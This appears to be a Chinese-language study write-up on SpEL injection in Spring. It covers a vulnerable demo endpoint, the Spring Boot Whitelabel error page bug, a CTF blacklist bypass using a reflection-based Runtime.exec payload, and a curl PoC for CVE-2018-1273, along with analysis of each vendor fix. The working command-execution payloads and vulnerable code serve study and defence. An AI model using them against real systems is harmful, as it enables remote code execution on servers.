Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。
个人理解就是Spring框架中的一种语言表达式,类似于Struts2中的OGNL的东西。
一个最基础的触发例子
@RequestMapping("/spel")
@ResponseBody
public String spel(String input){
    SpelExpressionParser parser = new SpelExpressionParser();
    Expression expression = parser.parseExpression(input);
    return expression.getValue().toString();
}
 
  直接将用户的输入当作表达式内容进行解析。
 输入一个简单的乘法运算 2*2 ,可以看到返回的值是经过解析后的 4 
 
 
执行下系统命令
/spel?input=new java.lang.ProcessBuilder("calc").start()
 
   
 
算是一个比较早期的漏洞,影响的版本有
 这里测试使用的是 1.2.0 的版本 
<version>1.2.0.RELEASE</version>
漏洞触发的条件是在错误页面中输出用户可控的值,如下是一个简单的demo
@RequestMapping("/")
public String index(String payload){
    throw new IllegalStateException(payload);
}
 
  直接将用户的输入抛出了个异常,访问之后就是一个Spring Boot熟悉的错误页面
 
 
 并可以看到将 payload 的值输出到了页面中,但输入一个SPEL表达式 ${xxx} 时,却会返回解析之后的值 
 
 
找到生成错误页面的代码断
spring-boot-autoconfigure-1.2.0.RELEASE.jar!/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.class:101
在SpelView的render方法中打下断点
 
 
 可以看到是在 this.helper.replacePlaceholders(this.template, this.resolver) 中生成了错误页面,然后返回给result 
 template 就是错误页面的模板,其中也包含着几个SPEL表达式变量 
<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>${timestamp}</div><div>There was an unexpected error (type=${error}, status=${status}).</div><div>${message}</div></body></html>
 
   在变量 map 里已经获取到了这几个变量的值 
 
 
 跟进 replacePlaceholders 函数之后可以来到 PropertyPlaceholderHelper.class:59 
 
 
 while循环中循环解析 ${xxx} 的表达式,例如第一个解析到 ${timestamp} ,取出中间的值,然后通过 
String propVal = placeholderResolver.resolvePlaceholder(placeholder);
跟进去看一下具体的处理方法
 
 
可以看到这里将表达式中间的值带入了SPEL表达式进行解析,然后返回了对应的值(返回前还进行了一次html编码,防止XSS
 让我们来跟一下处理 ${message} 时的处理方式 
 
 
 可以看到在取到 ${message} 的值 propVal 之后,由于其不等于null,于是又递归进行了一次 parseStringValue 
 由于此时的 propVal 值为 ${2*2} 就会和之前的解析表达式流程一样再进行一次SPEL表达式解析。 
 
 
 可以看到此时将 ${2*2} 解析成了4,然后返回在了页面中,从而触发了漏洞。 
 由于这里SPEL返回值时进行了一次html编码,所以导致取出的 ${message} 值时会进行一次转义,因此之前的payload 
${new java.lang.ProcessBuilder("calc").start()}
 
  需要进行一些小小的改动
${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}
 
   
 
https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6
 新增了一个 NonRecursivePropertyPlaceholderHelper 类用以防止递归 
测试环境为1.3.1
 可以看到 SpelView 中的 helper 变成了 NonRecursivePropertyPlaceholderHelper 
private final NonRecursivePropertyPlaceholderHelper helper = new NonRecursivePropertyPlaceholderHelper("${", "}");
 
  当第一次解析的时候,可以看到
 
 
 此时 placeholderResolver 的 resolver 是一个 ExpressionResolver 类型 
但是当递归解析时
 
 
 就被嵌套了一层,从而变成了 NonRecursivePropertyPlaceholderResolver 
然后再每次解析表达式前,也增加了个判断
public String resolvePlaceholder(String placeholderName) {
    return this.resolver instanceof NonRecursivePropertyPlaceholderHelper.NonRecursivePlaceholderResolver ? null : this.resolver.resolvePlaceholder(placeholderName);
}
 
   如果是 NonRecursivePlaceholderResolver 类型就直接返回null,从而停止递归解析。 
上学期p神的一道代码审计题,由于根本不会java那时候就空着了。如今回过头来发现也是一道SPEL注入题,感觉难度其实比其他PHP的要简单不少,但是耐不住Java的入门门槛稍高。
题目逻辑就不梳理了,看一下代码应该就能看懂,直接来看存在漏洞的部分。
@GetMapping
public String admin(@CookieValue(value = "remember-me", required = false) String rememberMeValue,
                    HttpSession session,
                    Model model) {
    if (rememberMeValue != null && !rememberMeValue.equals("")) {
        String username = userConfig.decryptRememberMe(rememberMeValue);
        if (username != null) {
            session.setAttribute("username", username);
        }
    }
    Object username = session.getAttribute("username");
    if(username == null || username.toString().equals("")) {
        return "redirect:/login";
    }
    model.addAttribute("name", getAdvanceValue(username.toString()));
    return "hello";
}
 
   重点在 getAdvanceValue(username.toString()) 中 
private String getAdvanceValue(String val) {
    for (String keyword: keyworkProperties.getBlacklist()) {
        Matcher matcher = Pattern.compile(keyword, Pattern.DOTALL | Pattern.CASE_INSENSITIVE).matcher(val);
        if (matcher.find()) {
            throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
        }
    }
    ParserContext parserContext = new TemplateParserContext();
    Expression exp = parser.parseExpression(val, parserContext);
    SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
    return exp.getValue(evaluationContext).toString();
}
 
  可以看到这里进行了明显的SPEL表达式的解析。但是在解析之前会进行黑名单的校验
keywords:
  blacklist:
    - java.+lang
    - Runtime
    - exec.*/(
 
   在控制器中可以看到,其实表达式的值 username 是可以通过Cookie中的 remember-me 来控制的,但是经过了一点加密。 
但由于是白盒,这层加密也可以直接看到加密算法。这样我们就可以控制SPEL中传入的值了
 提一句,一开始我以为页面中返回的值是 model.addAttribute 中的 name ,后来看了下html页面中发现只是打印了 ${session.username} 
 这里为了方便调试,将 name 的值也打印了出来 
> <article>
>     <h2 th:text="'Hello, ' + ${session.username}"></h2>
>     <p>This is admin panel.</p>
>     <p th:text="'name: ' + ${name}"></p>
> </article>
>
 
    加密的算法也在 Encryptor.java 中,我们可以通过这个来生成对应的密文 
public static void main(String[] args){
    String rememberMeKey = "c0dehack1nghere1";
    String encryptd = Encryptor.encrypt(rememberMeKey, "0123456789abcdef", "#{2*2}");
    System.out.println(encryptd);
}
 
   
 
 可以看到 name 的值确实就是传入的SPEL表达式解析之后的值 
 说一个自己遇到的小疑惑,之前Springboot的例子中SPEL表达式的标识符是 ${} 这个可以从代码中看到是匹配了, ${ 和 } 标识的,那为什么这里的标识符是 #{} 
我们可以来到解析SPEL表达式的地方,发现这里其实是多了一些东西的。
> ParserContext parserContext = new TemplateParserContext(); > Expression exp = parser.parseExpression(val, parserContext); >
 这里在解析表达式的时候传入了第二个参数 parseContext ,这是个 ParserContext 类的参数,里面就定义了SPEL表达式的标识符。这也就是这里标识符用 #{} 的原因了 
 
 
继续回到题解上,由于有黑名单的限制,所以之前命令执行的payload传入时会被检测到,这里来看下别的师傅的payload。
#{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc')}
 
   好吧,是有点长,看起来有点晕。从 getClass 、 forName 、 getMethod 、 invoke 这些函数可以看出是用了反射的机制。 
我们可以一步一步来分析下这个payload
''.getClass()
// class java.lang.String
''.getClass().forName('java.la'+'ng.Ru'+'ntime')
// class java.lang.Runtime
''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass())
// public java.lang.Process java.lang.Runtime.exec(java.lang.String) throws java.io.IOException
''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime')
// public static java.lang.Runtime java.lang.Runtime.getRuntime()
''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null)
// java.lang.Runtime@c2939a
''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc')
// java.lang.ProcessImpl@f2f85c
 
   可以看到,其实整个payload就是在凑 invoke 需要的参数,通过 forName 和 getMethod 来获取 Runtime.exec 的函数和类。 
 这样就可以将 java.lang.Runtime 和 .exec 用字符串拼接的方式进行黑名单的绕过。最后命令执行。 
这里就弹个计算器以表尊敬
 
 
漏洞环境参考的 https://github.com/wearearima/poc-cve-2018-1273
漏洞POC为
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
 
   漏洞触发点为 spring-data-commons-1.13.10.RELEASE-sources.jar!/org/springframework/data/web/MapDataBinder.java:158 
 
 
可以看到是一个很明显的SPEL表达式的注入。
 查看调用栈可以发现,此处应该是一个 Data Commons 自动化绑定传入参数的操作。 
 
 
@Override
protected Object createAttribute(String attributeName, MethodParameter parameter, WebDataBinderFactory binderFactory, NativeWebRequest request) throws Exception {
    MapDataBinder binder = new MapDataBinder(parameter.getParameterType(), conversionService.getObject());
    binder.bind(new MutablePropertyValues(request.getParameterMap()));
    return proxyFactory.createProjection(parameter.getParameterType(), binder.getTarget());
}
 
   可以看到最后将传入的参数进行了绑定。之前触发漏洞的地方 setPropertyValue 就是在设置参数的值。 
把传入参数的key值取出然后进行了SPEL表达式的解析。
 
 
从而触发了漏洞。
https://github.com/spring-projects/spring-data-commons/commit/b1a20ae1e82a63f99b3afc6f2aaedb3bf4dc432a
 可以看到将之前的 StandardEvaluationContext 替换成了 SimpleEvaluationContext 
 SimpleEvaluationContext 对于权限的限制更为严格,能够进行的操作更少。只支持一些简单的Map结构。 
 再次执行POC时可以看到,虽然参数还是传入了 context 中,但是执行 setValue 的时候会抛出异常,从而无法进行攻击。